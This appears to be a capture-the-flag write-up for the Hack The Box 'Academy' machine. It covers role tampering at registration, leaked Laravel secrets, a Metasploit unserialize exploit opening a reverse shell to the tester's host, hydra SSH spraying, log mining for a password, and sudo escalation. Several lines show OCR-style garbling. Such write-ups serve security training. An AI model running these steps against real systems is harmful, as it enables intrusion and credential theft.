
# **HTB.Academy**

# machine info



## **Enumeration**

# port scanning


perform port scanning & found 2 ports

```
-$ nmap -sC -sV -oN portscn 10.10.10.215
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-01 06:01 EST
Nmap scan report for 10.10.10.215
Host is up (0.045s latency).
Not shown: 998 closed ports
     STATE SERVICE VERSION
                     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
 ssh-hostkey:
    3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
    256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
    256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
 _http-server-header: Apache/2.4.41 (Ubuntu)
 _http-title: Did not follow redirect to http://academy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

found 33060 port when doing further port scanning


# gaining access into admin user

the root page of the port 80 web server




under the register.php, roleid hidden? probably this one is unique for different users

register an account for it




### check the post requests made, roleid=0 hmm




nothing happened when register most probably roleid=0 is used so used burpsuite to intercept the requests, edit the roleid and register a new account //it shows 302 found seems like it redirecting us to somewhere




success page! so it seems like our account has been created



login into my rayman account



& it login successfully now we're in home.php //but it seems like a rabbit hole here, nothing much can do in this egre55 user



register an account for the admin user /\*
ideas:
roleid >1 for normal user
roleid == 1 for admin user







#### and it shows success page == account created

```
1 GET /success-page.php HTTP,
2 Host: academy.htb
3 User-Agent: Mozilla/5.0 (X)
```

test using the credential to login



now we're in the admin account!



# Academy Launch Planner

Item	Status
Complete initial set of modules (cry0l1t3 / mrb3n)	done
Finalize website design	done
Test all modules	done
Prepare launch campaign	done
Separate student and admin roles	done
Fix issue with dev-staging-01.academy.htb	pending

fix issue of this subdomain?


Fix issue with dev-staging-01.academy.htb pending

edit the hosts file to access the subdomain

192.168.0.145 severnaya-station.com
10.10.10.215 dev-staging-01.academy.htb academy.htb

## enumerating dev-staging-01 subdomain

some weird thing happen in this subdomain



permission denied hmm...

## UnexpectedValueException

The stream or file "/var/www/html/htbacademy-dev-01/storage /logs/laravel.log" could not be opened in append mode: failed to open stream: Permission denied

retrieve some interesting information from the logs

db credential

```
DB_CONNECTION "mysql"

DB_HOST "127.0.0.1"

DB_PORT "3306"

DB_DATABASE "homestead"

DB_USERNAME "homestead"

DB_PASSWORD "secret"
```

debug mode enabled, & we found the APP\_KEY

```
APP_NAME "Laravel"

APP_ENV "local"

APP_KEY "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="

APP_DEBUG "true"

APP_URL "http://localhost"
```

search for laravel exploit & found this in metasploit

```
Shellcodes: No Results

msf6 > search laravel

Matching Modules

# Name

0 exploit/unix/http/laravel_token_unserialize_exec

Disclosure Date Rank Check Description

excellent Yes PHP Laravel Framework token Unserialize Remote Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/laravel_token_unserialize_exec
```

fill in the exploit properties from what we've gathered in the debug page

```
msf6 exploit(
Module options (exploit/unix/http/laravel_token_unserialize_exec):
   Name
               Current Setting
                                                                Required Description
   APP_KEY
               dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= no
                                                                           The base64 encoded APP_KEY string from the .env file
   Proxies
                                                                           A proxy chain of format type:host:port[,type:host:port][...]
                                                                           The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
The target port (TCP)
               10.10.10.215
   RPORT
               false
                                                                           Negotiate SSL/TLS for outgoing connections
   TARGETURI
                                                                           Path to target webapp
HTTP server virtual host
               dev-staging-01.academy.htb
   VHOST
Payload options (cmd/unix/reverse_perl):
   Name
          Current Setting Required Description
   LHOST
          10.10.14.22
                                        The listen address (an interface may be specified)
                             yes
                                        The listen port
```

execute it and we got our initial foothold!

```
msf6 exploit(unix/http/laravel_token_unserialize_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.22:18890
[*] Command shell session 1 opened (10.10.14.22:18890 → 10.10.10.215:33750) at 2021-01-01 10:48:46 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

# **Post Exploitation**

## **Privilege Escalation**

# www-data -> cry0l1t3

found several users in the home directory

```
cd /home
ls -la
ls -la
total 32
drwxr-xr-x 8 root
                              4096 Aug 10 00:34
                      root
                              4096 Aug 7 12:07 ..
drwxr-xr-x 20 root
                    root
                             4096 Aug 10 00:34 21y4d
drwxr-xr-x 2 21y4d
                     21y4d
drwxr-xr-x 2 ch4p
                     ch4p
                             4096 Aug 10 00:34 ch4p
drwxr-xr-x 4 cry0l1t3 cry0l1t3 4096 Aug 12 21:58 cry0l1t3
                     egre55 4096 Aug 10 23:41 egre55
drwxr-xr-x 3 egre55
drwxr-xr-x 2 g0blin
                      g0blin 4096 Aug 10 00:34 g0blin
                              4096 Aug 12 22:19 mrb3n
drwxr-xr-x 5 mrb3n
                      mrb3n
www-data@academy:/home$
```

the user flag was in cry0l1t3 user home directory

```
find . -name user.txt -type f 2>/dev/null
find . -name user.txt -type f 2>/dev/null
./cry0l1t3/user.txt
www-data@academy:/home$
```

run linpeas.sh & read the result

//found a DB password in a .env file, might be some user using the same credential for their user
/var/www/html/academy/.env:DB\_PASSWORD=mySup3rP4s5w0rd!!

create wordlist of password found & the users in home directory

```
(nobodyatall® 0×DEADBEEF)-[~/htb/boxes/academy]
$ cat > pw
mySup3rP4s5w0rd!!
^C

(nobodyatall® 0×DEADBEEF)-[~/htb/boxes/academy]
$ cat > user
21y4d
ch4p
cry0l1t3
egre55
g0blin madeLogLogManagerenor
mrb3n
^C
```

run hydra & found the user that used that credential!

```
command not found: ndyra

(nobodyatall® 0*DEADBEEF)-[~/htb/boxes/academy]
$ hydra -L user -P pw academy.htb ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-01-01 11:26:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended [DATA] max & tasks per 1 server, overall & tasks, & login tries (l:6/p:1), ~1 try per to [DATA] attacking ssh://academy.htb:22/
[22][ssh] host: academy.htb login: cry0l1t3 password: mySup3rP4s5w0rd!!
1 of 1 target successfully completed, 1 valid password found
```

login into the user via ssh & we're in

```
(nobodyatall® 0×DEADBEEF)-[~/htb/boxes/academy]
$ ssh cry0l1t3@academy.htb
cry0l1t3@academy.htb's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Fri 01 Jan 2021 04:27:28 PM UTC
```

## cry0l1t3 -> mrb3n

& we've found & able to read the user flag!

```
cry0l1t3@academy:~$ wc user.txt
1 1 33 user.txt
```

adm group

```
cry0l1t3@academy:/$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm) cry0l1t3@academy:/$
```

have the permission to read /var/log

#### adm

The admin group, adm, allows the user to view logs in \_/var/log . Whilst this is not directly exploitable, it can be used to leak sensitive information, such as user actions, vulnerable applications and any potentially hidden cron-jobs.

Ixd

this egre55 password keep on showing redacted, kinda sus here

```
cry011t3@academy:~$ find /var/log -type f -exec grep -H 'passw' {} \; | more
grep: /var/log/vmware-network.9.log: Permission denied
grep: /var/log/umware-network.6.log: Permission denied
grep: /var/log/installer/curtin-install.log: Permission denied
grep: /var/log/installer/curtin-install-cfg.yaml: Permission denied
grep: /var/log/installer/subiquity-debug.log.1758:2020-08-07 12:07:02,431 DEBUG subiquity.controllers.identity:70 IdentityController.done next_screen user_spec-{'hostname':
    'academy', 'realname': 'egre55', 'username': 'egre55', 'password': '<REDACTED>'}
```

use the grep command to find logs containing egre55 string

```
cry0l1t3@academy:/home$ grep -rH 'egre55' /var/log/* 2>/dev/null
```

```
/var/log/cloud-init.log:2020-08-07 12:12:07,195 - util.py[DEBUG]: Running hidden command to protect sensitive input/output logstring: ['useradd', 'egres5', '--comment ', 'seras5', '--groups', 'adm,cdrom,dip.plugdev,lxd,sudo', '--password', 'REDACTED', '--shell', '/bin/bash', '-m']

cryotitagacauemy:/var/tog/instatters grep -IR egres5 /vat/tog 22/dev/nutt
/var/log/installer/subiquity-debug.log.1758:2020-08-07 12:07:02,431 DEBUG subiquity.controllers.identity:70 IdentityController.done next_screen user_spec={'hostname':
```

egre55 seems like a rabbit hole here, let's grep the su command

```
cry0l1t3@academy:/var/log$ grep -rHw 'su' /var/log/ 2>/dev/null
Binary file /var/log/auth.log.3.gz matches
Binary file /var/log/dpkg.log.3.gz matches
```

found a log that authentication granted for mrb3n user with the data (hex form)

decoding the hex string & found possible mrb3n credential?

## Input

6D7262336E5F41634064336D79210A

#### Output

mrb3n\_Ac@d3my!

using the credential & we're in mrb3n user!

```
cry0l1t3@academy:/var/log$ su mrb3n
Password:
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
$
```

## mrb3n -> root

checking the sudo -1 & found the command can execute as root

using this technique that found in GTFOBins & we've privilege escalate to root!

& we've found and able to read the root flag

```
-rw-r--r-- 1 root root 186 Sep 14

# wc root.txt
1 1 33 root.txt
# |
```